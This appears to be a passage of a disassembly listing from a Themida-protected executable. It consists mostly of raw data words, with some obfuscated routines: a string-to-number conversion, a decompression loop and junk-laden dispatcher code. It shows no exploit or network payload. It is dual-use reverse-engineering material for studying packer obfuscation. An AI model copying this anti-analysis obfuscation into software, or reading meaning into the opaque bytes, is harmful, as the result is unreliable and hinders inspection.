		dd 8B66061Eh, 28BE9DFh,	0BB660000h, 85C74A1Eh, 61E4C8Ch
		dd 5, 2AC99D89h, 958B061Eh, 61E1E35h, 5B8h, 0EE85000h
		dd 24000000h, 29D16E53h, 4D6B3A19h, 0F964F7E9h,	0D3B70FC6h
		dd 0ADE95A5Ah, 6A000008h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 5629C356h, 0F5A63570h
		dd 83338FB6h, 850F02F8h, 101h, 66918BBAh, 0B80Ah, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 4BE969C3h, 93BD981Eh, 0D281668Eh, 0C00BC0FDh, 0B0840Fh
		dd 0D2810000h, 59FE0BEBh, 1221958Bh, 0F883061Eh, 4B840F01h
		dd 6AFFFFFFh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0E01FC355h, 7E951h, 2B6F0000h
		dd 94847FBBh, 0EE96021h, 0E2000000h, 9414536Ah,	9E70B971h
		dd 0EFAAAE25h, 0D8D8B00h, 61061E31h, 0F03F883h,	0FFFEA684h
		dd 318D09FFh, 2B061E2Fh, 0ED9531C0h, 29061E1Bh,	1E272185h
		dd 74BD8D06h, 6A005B79h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 3324C355h, 85E6CCBDh
		dd 880F759Bh, 5, 0E5D38166h, 66E7FF0Bh,	0BD8DD78Bh, 61E44B5h
		dd 36D9D8Bh, 26E9061Eh,	8B000001h, 1E297D9Dh, 3F88306h
		dd 36850Fh, 0BB660000h,	0BD8D013Bh, 61E4649h, 95C28166h
		dd 103E9DCh, 11E90000h,	9E000000h, 54EB4589h, 0E1B86A7h
		dd 0FCAF6546h, 0F4C088CAh, 68C0Fh, 8D890000h, 61E1489h
		dd 0F05F883h, 1085h, 0E4D6BA00h, 2DE932BBh, 81000007h
		dd 24F9D5DBh, 6F8831Ah,	46850Fh, 8B520000h, 1E175595h
		dd 0BD8D5A06h, 61E4841h, 0AAE9D98Bh, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 8822C353h, 0FE9h, 0AAE4500h,	35B5472Ch, 3E269AC9h, 7F8229B8h
		dd 0F07F883h, 3D85h, 0D19D8B00h, 8D061E2Ch, 1E23A5BDh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 8AA0A30Dh, 104E9F7h, 9D8B0000h, 61E2F31h
		dd 839DF281h, 0F883499Dh, 2A850F0Ah, 8B000000h,	39BD8DD1h
		dd 0F5061E4Ah, 1CE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 81665756h, 0B92132DBh
		dd 3739D534h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 15h,	7EC35040h, 0DFBF0F39h, 7E5958Bh, 3F83061Eh, 84840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0FBCCC352h, 0FA4F1B7h,	0F30D6B7h
		dd 9D8BC9D1h, 61E224Dh,	55006A47h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 6021BA51h, 673366B0h
		dd 0D98BE057h, 0C418D89h, 97E9061Eh, 6AFFFFFFh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 59C7C353h, 8FA362D1h, 5FD75BC6h, 1ACDB589h, 0BD89061Eh
		dd 61E4C35h, 4D958Bh, 8D8D061Eh, 61E3091h, 0FFDFBF0Fh
		dd 1E1375B5h, 0EAE78006h, 0CE9h, 3DAF0C00h, 0B0C3715Eh
		dd 0E1C3B043h, 8A858DC2h, 5006209Fh, 5436BD8Dh,	8D8D061Eh
		dd 61E6F4Fh, 831ABCB8h,	30CF2B54h, 47C8D007h, 8DF87549h
		dd 1E6EFFB5h, 678D8D06h, 2B061E6Fh, 33A4F3CFh, 0B8C9h
		dd 0C00B0000h, 0BD834674h, 61E21EDh, 0FF067400h, 1E193595h
		dd 35B58B06h, 8D061E4Ch, 209F8A85h, 8DD0FF06h, 1E424085h
		dd 0C7D0FF06h, 1E005585h, 106h,	9DA58B00h, 8B061E02h, 1E0EB5B5h
		dd 3DAD8B06h, 33061E01h, 0CC2C0h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0B2C35747h,	6AD68B66h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 93E0C356h, 0AF091AC3h, 83F56BD0h, 1E33B1BDh,	840F0006h
		dd 56h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh
		dd 0A7C35242h, 9A2AD8BDh, 2DF69A39h, 0C1958939h, 0FF061E04h
		dd 1E035595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 9E67B48Eh, 8B4F912h, 0BD830F4Bh
		dd 61E18D1h, 15850F00h,	0F000001h, 387h, 0D98B6600h, 272DBD83h
		dd 0F01061Eh, 0FF85h, 0FD98B00h, 0BD83D9B7h, 61E29C5h
		dd 0ED840F00h, 89000000h, 1E1CE18Dh, 88BD8306h,	61E4Ch
		dd 0DA840Fh, 0E2800000h, 8A858DC9h, 0F06209Fh, 0B58BD1BFh
		dd 61E4C35h, 89D0FFF5h,	1E172DB5h, 4185C606h, 54061E20h
		dd 90203A68h, 0F0BA6692h, 2434817Eh, 6DDE9ECEh,	6830Fh
		dd 0CA810000h, 1A2E363Ch, 2F1B5FFh, 9D8B061Eh, 61E1BC1h
		dd 38FA858Dh, 0DE9061Eh, 37000000h, 39BEC817h, 1F562E46h
		dd 0D9F26Ch, 236D9533h,	0D0FF061Eh, 20499D8Bh, 6A061Eh
		dd 1E58D89h, 0FF6A061Eh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 2AC35242h, 930C5B65h,	0F3BB664Fh, 81D0FF33h
		dd 922D23E2h, 61B5FF57h, 89061E19h, 1E18F985h, 7595FF06h
		dd 6A061E13h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 7B62C356h, 7FB7094Fh, 4C35B58Bh
		dd 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 80AD1DC3h, 0D78B6652h, 8BFCC35Ah,	1E0E2DB5h
		dd 0CB816606h, 0CEB3594Ah, 840FF60Bh, 0Ch, 1C19D8Bh, 6C6061Eh
		dd 0DBB70F00h, 4C3D8589h, 5E9061Eh, 85000000h, 0A520ED15h
		dd 0F00F883h, 39384h, 0B80FB700h, 0
		dd 22D99589h, 0F883061Eh, 0CA840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8B12C352h, 2F883D6h,	68850Fh, 0BF0F0000h, 0B8858DDAh
		dd 6A061E42h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0D47CC353h, 3789750h, 1E337595h
		dd 9292D06h, 85090000h,	61E21B9h, 0A8BB6690h, 0D88B50DAh
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0C34E929Ch, 155D8D89h, 0B8061Eh,	0F000000h
		dd 1B8Ch, 15870F00h, 0E9000000h, 10h, 912C5C17h, 0AAE3E856h
		dd 1D5429C2h, 5805BC79h, 2BD1950Bh, 0BDE9061Eh,	60000002h
		dd 958B17B3h, 61E2939h,	1B861h,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD8D4BC3h
		dd 61E42BDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0D1C35141h, 0BD891EDDh,	61E1E75h, 0BBE9h, 0E5958B00h
		dd 83061E0Dh, 850F02F8h, 4Bh, 429952Bh,	0BD8D061Eh, 61E44B5h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 2DC35747h
		dd 0AF79EEh, 0EE91Bh, 7DEE0000h, 0E852CFE0h, 4FF08E1Fh
		dd 6BA8B6B4h, 67E9h, 0B99D8B00h, 83061E07h, 850F03F8h
		dd 44h,	2DA58589h, 0BD8D061Eh, 61E4649h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 15h, 33C35242h, 0BE958h
		dd 5E8D0000h, 0E771BA81h, 3EC211A2h, 1AE9BCh, 0B5010000h
		dd 61E0CD5h, 0F05F883h,	0B85h, 0D0BF0F00h, 0D3E9h, 0D78B6600h
		dd 0FD89BB57h, 14E90CB1h, 4000000h, 159B656Ah, 673768A3h
		dd 0FD80986Bh, 0FD7C39E4h, 0B922BA08h, 3739D534h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0F2C35040h, 0F4F69365h
		dd 83DFB70Fh, 840F003Fh, 80h, 5830Fh, 81660000h, 306336E3h
		dd 958B600Fh, 61E02A5h,	0EE9h, 0F7369A00h, 0C670F1ABh
		dd 0D1662E96h, 61EB7851h, 48F0Fh, 0BA660000h, 0C9D1280Ch
		dd 0DE9h, 511DFC00h, 74DF284Ch,	0E77AAC6Eh, 0EE967E5h
		dd 21000000h, 8A5031E5h, 0BE330FEDh, 0D0A2F472h, 6A4704h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F8579CC3h, 0FFFF7AE9h, 0D9BF0FFFh, 0F05F883h, 0CF85h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0E99D8977h, 66061E17h, 6AD98Ch, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 6171CCC3h, 0B5094FD6h, 61E31A9h, 0F04C1F6h, 4F85h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 30858DA7h, 0FE8BC63h, 21000000h, 0D15E9D00h,	57B10B9h
		dd 6D8F10EDh, 8D89DB11h, 61E1A05h, 0B85Bh, 0BF0F0000h
		dd 32E9D1h, 9D8B0000h, 61E0195h, 34D858Bh, 6A061Eh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0EB3C9C3h, 958BE0FFh, 61E2731h, 1375BD83h, 0F00061Eh
		dd 13A85h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 24D1431Fh, 5F21F38Bh, 90F9A6B9h
		dd 5050D98Bh, 8E852h, 9A560000h, 0D02FE09Dh, 10B7B1EBh
		dd 66310F5Bh, 585AD78Bh, 51006A90h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0FE8AAh, 53C30000h, 810909Fh
		dd 0D20A6C77h, 0F749CBC3h, 0ED9589C4h, 5A061E03h, 204185C6h
		dd 0E945061Eh, 14h, 0ED3C3A80h,	842DE3A1h, 654EF3C2h, 14CB4027h
		dd 116916Ch, 2705958Bh,	4E8061Eh, 69000000h, 8B8E7269h
		dd 51BA50D9h, 8B6DA2E7h, 66042444h, 8BBB87BAh, 24448900h
		dd 0B5295804h, 61E001Dh, 2F1B5FFh, 19B6061Eh, 38FA858Dh
		dd 0F8B7061Eh, 6AD0FFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 206F21C3h, 0F1A71D7h, 8BA38FA6h
		dd 1E23419Dh, 0B58B6006h, 61E1D65h, 61F2B70Fh, 167D9D8Bh
		dd 8589061Eh, 61E1375h,	0CE8h, 0E8465B00h, 0C5FEF7B3h
		dd 0A126678Ch, 519D3166h, 5B061E27h, 0B9B58958h, 83061E02h
		dd 1E4C8CBDh, 840F0006h, 5Bh, 0FF0BE380h, 1E1961B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0FFE5D533h, 1E137595h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0D51B4309h
		dd 8924F01Dh, 1E174D8Dh, 3DB58906h, 83061E33h, 850F00F8h
		dd 0B2h, 2CDA8166h, 52EA8177h, 835E5250h, 1E0135BDh, 840F0006h
		dd 41h,	16F5BD29h, 0B5FF061Eh, 61E0135h, 2FB99D89h, 1B8061Eh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 70A2C352h, 0E9E188A1h,	1F4h, 2AF28166h
		dd 61B5FF59h, 89061E19h, 1E1BC595h, 61B5FF06h, 0F061E19h
		dd 68Fh, 5850100h, 0FF061E04h, 1E1375B5h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 297C69D2h, 1E0D8D8Dh, 1A2E906h, 9D8B0000h, 61E3021h
		dd 9818589h, 295F061Eh,	1E1BA98Dh, 0D5BD8306h, 61E31h
		dd 0D9850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 2809FDC3h, 5CC5CE72h, 4185C6BAh
		dd 4D061E20h, 1A45958Bh, 0F968061Eh, 663E7602h,	481D18Bh
		dd 0BF73AF24h, 55B5FF65h, 89061E14h, 1E0E159Dh,	0FA858D06h
		dd 6A061E38h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 43ECC355h, 81E8058Ch, 2333F6CAh
		dd 0D958939h, 0FF061E02h, 56006AD0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 2DFCC8E5h
		dd 4A7354D7h, 0D5858917h, 6A061E31h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 9C64C350h
		dd 0D98DD332h, 8B06C969h, 1E292995h, 158D2906h,	0B8061E08h
		dd 0
		dd 89DA8B66h, 1E4C35BDh, 0A1858906h, 0B061E23h,	2C840FC0h
		dd 66000000h, 0E99A74BBh, 84h, 4DB58960h, 0E9061E21h, 11h
		dd 0C1A416FAh, 0D6B7A28h, 0FB1039D0h, 0D59D81CBh, 8166612Fh
		dd 0FF0E31EAh, 1E1375B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 90852DCAh
		dd 0D3B8F806h, 8D0F1B73h, 3, 8DD4CF80h,	209F8A85h, 48BA6606h
		dd 9E91Ah, 0A6E30000h, 0C0696E1Bh, 9002B2CFh, 5350A8B7h
		dd 5AD68B66h, 6E990h, 72930000h, 0EBF27677h, 0BD8D5650h
		dd 61E5436h, 798D8D8Dh,	0BCB8061Eh, 2B748323h, 0D00730CFh
		dd 754947C8h, 83585EF8h, 1E0135BDh, 6740006h, 16398D8Bh
		dd 0C933061Eh, 0B8h, 0FC00B00h,	9984h, 0EDBD8300h, 61E21h
		dd 95FF0674h, 61E1935h,	0B8h, 75C00B00h, 3DBD8309h, 1061E4Ch
		dd 0BD830974h, 61E4C3Dh, 8B0E7502h, 1E4C35B5h, 8A858D06h
		dd 0FF06209Fh, 40858DD0h, 0FF061E42h, 6DBD83D0h, 2061E09h
		dd 0A58B2F75h, 61E029Dh, 135858Bh, 489061Eh, 5585C724h
		dd 1061E00h, 8B000000h,	1E4C39B5h, 3DAD8B06h, 0B8061E01h
		dd 1, 0EB000CC2h, 5585C700h, 1061E00h, 8B000000h, 1E029DA5h
		dd 0B5B58B06h, 8B061E0Eh, 1E013DADh, 0C2C03306h, 0BD83000Ch
		dd 61E33B1h, 830F7400h,	1E0355BDh, 6740006h, 35595FFh
		dd 0B58B061Eh, 61E4C35h, 89BD29C3h, 0F061E2Ah, 685h, 5BCA8100h
		dd 0BA357286h, 0
		dd 71A1CB81h
		db 85h,	60h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_536876
; ---------------------------------------------------------------------------

loc_536874:				; CODE XREF: Themida_:00536879j
		inc	eax
		inc	edi

loc_536876:				; CODE XREF: Themida_:00536872j
		cmp	byte ptr [edi],	0
		jnz	short loc_536874
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5368A5
; ---------------------------------------------------------------------------

loc_536882:				; CODE XREF: Themida_:005368A7j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_53689A
; ---------------------------------------------------------------------------

loc_536897:				; CODE XREF: Themida_:0053689Dj
		mul	ebx
		dec	esi

loc_53689A:				; CODE XREF: Themida_:00536895j
		cmp	esi, 0
		ja	short loc_536897
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax

loc_5368A5:				; CODE XREF: Themida_:00536880j
		or	eax, eax
		jnz	short loc_536882
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 6Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 7684C355h, 295601D1h, 1E29E595h, 0E2805B06h
		dd 0E9C18BC7h, 1ADh, 24748B60h,	247C8B24h, 80B2FC28h, 8846068Ah
		dd 2BB4707h, 2000000h, 5850FD2h, 8A000000h, 0D2124616h
		dd 0FFE2830Fh, 0D202FFFFh, 5850Fh, 168A0000h, 0FD21246h
		dd 6A83h, 2C03300h, 5850FD2h, 8A000000h, 0D2124616h, 12A830Fh
		dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 840FC013h
		dd 6, 8AF82B57h, 7885F07h, 2BB47h, 70E90000h, 0B8FFFFFFh
		dd 1, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0FFDE820Fh, 0C32BFFFFh, 1BBh, 34850F00h
		dd 0B9000000h, 1, 850FD202h, 5,	1246168Ah, 2C913D2h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0FFDE820Fh, 8B56FFFFh, 0F3F52BF7h
		dd 8E95EA4h, 48FFFFFFh,	8A08E0C1h, 0E88B4606h, 1B9h, 0FD20200h
		dd 585h, 46168A00h, 0C913D212h,	850FD202h, 5, 1246168Ah
		dd 0DE820FD2h, 3DFFFFFFh, 7D00h, 22830Fh, 3D0000h, 0F000005h
		dd 0E82h, 8B564100h, 0F3F02BF7h, 0B4E95EA4h, 83FFFFFEh
		dd 870F7FF8h, 3, 5602C183h, 0F02BF78Bh,	0E95EA4F3h, 0FFFFFE9Bh
		dd 3346068Ah, 1E8C0C9h,	17840Fh, 0D1830000h, 56E88B02h
		dd 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h, 247C2BFFh, 247C8928h
		dd 8C2611Ch, 929BA00h, 3FE90000h, 3F000219h, 68025800h
		dd 0DE0012FFh, 0EC0059FBh, 0DE0059F6h, 59FBh, 28000000h
		dd 46025800h, 2000002h,	1000000h, 2000000h, 0DC000000h
		dd 0FA34EDh, 4 dup(0)
		dd 84000000h, 260053BDh, 0CD005385h, 0BF0053CBh, 690053D6h
		dd 240053DBh, 760053D9h, 4F0053E2h, 7D00540Fh, 160053F2h
		dd 700053B1h, 0F0005426h, 0E70053ADh, 9A0053C7h, 0B30053DAh
		dd 510053B3h, 4E0053D4h, 46005385h, 4F0053E6h, 0B40053EFh
		dd 3E0053D4h, 0A300541Ah, 6800539Ch, 0BC005429h, 0DA0053B3h
		dd 0D30053B2h, 0DF00541Eh, 4E00541Dh, 9B0053BDh, 1B005419h
		dd 0D70053ACh, 6C00540Ch, 0FD0053E8h, 0B1005396h, 50053A2h
		dd 0F5005392h, 0BF00542Eh, 610053DAh, 7900536Eh, 4A00537Eh
		dd 89005379h, 0F80053B1h, 0C4005421h, 0DC0053F6h, 170053A7h
		dd 670053D5h, 0E60053A4h, 270053AFh, 0BF005378h, 8D005398h
		dd 3E00541Fh, 2E005376h, 0E3005407h, 50053DFh, 2005370h
		dd 4B00540Ah, 1E00539Fh, 0D000540Dh, 4D005393h,	0A00053F3h
		dd 2B005387h, 31005387h, 0AC0053E2h, 410053F3h,	3000542Fh
		dd 3800540Eh, 270053FDh, 0A6005403h, 4F005409h,	59005422h
		dd 23005408h, 680053D2h, 1100539Fh, 2B00540Ah, 63005400h
		dd 310053CFh, 0F90053FAh, 4F00539Fh, 1B0053B5h,	5300538Fh
		dd 7400542Ah, 200053C6h, 47005398h, 0D400539Ah,	0D8005373h
		dd 0F7005408h, 7E005383h, 95005409h, 542Bh, 18005400h
		dd 28005383h, 33005384h, 70005387h, 0AF005373h,	0D10053C3h
		dd 0EA0053FBh, 0F8005391h, 0B700541Fh, 5E005424h, 470053DAh
		dd 710053CBh, 0A5005378h, 3F0053DBh, 0A100542Ah, 1D0053F8h
		dd 86005408h, 0E8005418h, 81005386h, 240053CCh,	0EB0053BCh
		dd 0FF0053DFh, 0BA0053FBh, 600540Ch, 0BE005415h, 0A3005426h
		dd 640053B0h, 0CB0053F9h, 0E1005407h, 0BB0053ADh, 52005404h
		dd 500541Ah, 26005382h,	7100539Ah, 0C005418h, 200053FFh
		dd 14005386h, 0F30053F5h, 900537Bh, 6A0053A1h, 50053A7h
		dd 5B0053BFh, 53CFh, 10053B3h, 0A40053BEh, 3B0053ADh, 0DE0053AEh
		dd 3E005375h, 0C80053EAh, 5E0053EAh, 26005377h,	960053CDh
		dd 32005423h, 0C30053F7h, 750053E3h, 3E00539Dh,	600538Dh
		dd 0BF0053F9h, 0BF0053ABh, 8B0053F3h, 6E0053D2h, 0AA0053E9h
		dd 620053A1h, 180053D0h, 67005429h, 58005376h, 3F0053A1h
		dd 0E2005390h, 61005426h, 800053A9h, 0A70053AEh, 780053BDh
		dd 9B0053A0h, 20005422h, 0B7005378h, 0AF0053E1h, 9C005401h
		dd 97005376h
		db 8Dh,	53h, 0
; ---------------------------------------------------------------------------

loc_536D7B:				; CODE XREF: Themida_:00562FC9j
					; Themida_:005860A2j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 61E7FA7h
		mov	eax, edi
		add	edi, 61E7CBFh
		cmp	eax, [edi+2Ch]
		jnz	short loc_536D99
		jmp	short loc_536DAC
; ---------------------------------------------------------------------------

loc_536D99:				; CODE XREF: Themida_:00536D95j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_536DA8
; ---------------------------------------------------------------------------

loc_536DA3:				; CODE XREF: Themida_:00536DAAj
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_536DA8:				; CODE XREF: Themida_:00536DA1j
		or	ecx, ecx
		jnz	short loc_536DA3

loc_536DAC:				; CODE XREF: Themida_:00536D97j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_536DB9:				; CODE XREF: Themida_:00536DC0j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_536DB9

loc_536DC2:				; CODE XREF: Themida_:00537200j
					; Themida_:loc_53725Aj	...
		lodsb
		push	ebx
		mov	bh, 0F0h
		inc	bh
		sub	bh, 27h
		add	al, bh
		jmp	loc_536E29
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 8EF7h, 7F7562B9h, 244C313Eh,	240C8B04h, 4C481h, 34FF0000h
		dd 82E95824h, 68000092h, 4010h,	56241489h, 0B03396BEh
		dd 0EE814E70h, 141B55FCh, 8103EEC1h, 0BE27FDEEh, 0E9574605h
		dd 842Ch
; ---------------------------------------------------------------------------

loc_536E18:				; CODE XREF: Themida_:0053E22Cj
		add	ebx, 3AC33868h
		and	ecx, ebx
		pop	ebx
		shr	ecx, 0Bh
		jmp	loc_53D8AC
; ---------------------------------------------------------------------------

loc_536E29:				; CODE XREF: Themida_:00536DCDj
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5409F0
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 0E9240C31h, 0F19h
; ---------------------------------------------------------------------------

loc_536E40:				; CODE XREF: Themida_:00538AE5j
		push	edx
		jmp	loc_53881D
; ---------------------------------------------------------------------------
		dw 895Fh
		dd 0F3015DEEh, 8324348Bh, 1C8704C4h, 24248B24h,	9C2424D2h
		dd 0FFFF61E9h, 1C77FFFFh, 4EC81h, 4890000h, 5E08924h, 4
		dd 8704E883h, 895C2404h, 55E9240Ch, 81FFFFFFh, 4C4h, 2BD5500h
		dd 81000000h, 9D319AC3h, 5397E963h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_536E9A:				; CODE XREF: Themida_:005406F0j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 24h
		sub	eax, 2C9D6EB4h
		add	eax, edi
		add	eax, 2C9D6EB4h
		add	[eax], esi
		jmp	loc_53DFA5
; ---------------------------------------------------------------------------

loc_536EB8:				; CODE XREF: Themida_:0053A243j
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_53BAF3
; ---------------------------------------------------------------------------

loc_536EC3:				; CODE XREF: Themida_:0053A852j
		mov	[esp], ebp
		mov	ebp, 0D5F38219h
		add	ebx, 470E641Fh
		add	ebx, ebp
		sub	ebx, 470E641Fh
		mov	ebp, [esp]
		add	esp, 4
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_539C7B
		push	ebx
		mov	ebx, 1Ch
		push	ecx
		mov	ecx, 3FCD032Eh
		add	ecx, 15265000h
		sub	ecx, 0E6C2ECE5h
		sub	ebx, ecx
		jmp	loc_53FF76
; ---------------------------------------------------------------------------

loc_536F0C:				; CODE XREF: Themida_:00538824j
		dec	edx
		not	edx
		jmp	loc_53D273
; ---------------------------------------------------------------------------
		dd 241C895Ch, 81E38953h, 4C3h, 0AA5AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_536F26:				; CODE XREF: Themida_:00537D87j
		xor	eax, [esp]
		jmp	loc_53AB33
; ---------------------------------------------------------------------------
		dw 0F82Ch
		dd 76B45051h, 0E53005B5h, 59E80058h, 6866F028h,	89664B00h
		dd 0F5E9240Ch, 47000027h, 328EE9h, 2434FF00h, 1073E9h
		dd 4C48300h, 55526866h,	45EE9h,	0FE58E900h, 5166FFFFh
		dd 0CE0028B1h, 59665966h, 8088EE80h, 0F65201E6h, 5A012454h
		dd 0E908E6C0h, 7E4h, 50240C89h,	88533DB0h, 8BFD88C7h, 0C483241Ch
		dd 0EC305804h, 58E18859h, 8682F180h, 86D7F6F9h,	0B8E980F9h
		dd 0FCC180h, 0B60F59CBh, 8734FFC0h, 28B3E9h
		db 0
; ---------------------------------------------------------------------------

loc_536FBD:				; CODE XREF: Themida_:00540F1Ej
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_53DAD1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4685500h, 5D000000h, 515DE929h, 42474FFh, 24048F59h
		dd 8924248Bh, 8850240Ch, 58C188D0h, 8B870C88h, 0C481240Ch
		dd 4, 0FFFDBDE9h, 2434FFFFh, 952E958h, 48F0000h, 3412E924h
		dd 0D1F70000h, 13E0C981h, 0F18116ECh, 0B7EC93E2h, 0C8BCA89h
		dd 4C48324h, 512DBD55h,	0DDF72AC3h, 9BE5814Dh, 0E97D217Ch
		dd 68D4h, 8BD00058h, 0C4812414h, 4, 57241C8Bh, 6211E9h
		db 0
; ---------------------------------------------------------------------------

loc_537055:				; CODE XREF: Themida_:00541821j
		and	ebx, 48704C9Ch
		not	ebx
		dec	ebx
		or	ebx, 3BBD2393h
		xor	ebx, 0FFFFBFF7h
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		push	0B2Ch
		jmp	loc_53CF2F
; ---------------------------------------------------------------------------
aXw		db 'XW©!',0
		dw 2AE5h
		dd 815FFD31h, 403E3BC3h, 0E9EB0134h, 4D02h, 3431D6F7h
		dd 16AAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53709E:				; CODE XREF: Themida_:0053761Dj
		add	ebx, edx
		add	dword ptr [ebx], 1
		pop	ebx
		push	dword ptr [esp]
		pop	edx
		push	edx
		jmp	loc_5397CE
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 87h
aSsnr		db 'ИИnR',0
		align 2
		dw 74FFh
		dd 8F590424h, 248B2404h, 2434FF24h, 582434FFh, 77C368h
		dd 24048900h, 405E089h,	0E9000000h, 0B007h
; ---------------------------------------------------------------------------

loc_5370E0:				; CODE XREF: Themida_:0053A74Aj
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 234C6986h
		neg	ebx
		sub	ebx, 744179E1h
		sub	ebx, 40CD6C9Ah
		inc	ebx
		push	ebp
		mov	ebp, 27A4AFFCh
		sub	ebx, ebp
		jmp	loc_5409B1
; ---------------------------------------------------------------------------

loc_53710F:				; CODE XREF: Themida_:005407EBj
		pop	esi
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 22773C1Dh
		add	edi, 0DD88C3E4h
		sub	esp, 4
		mov	[esp], edi
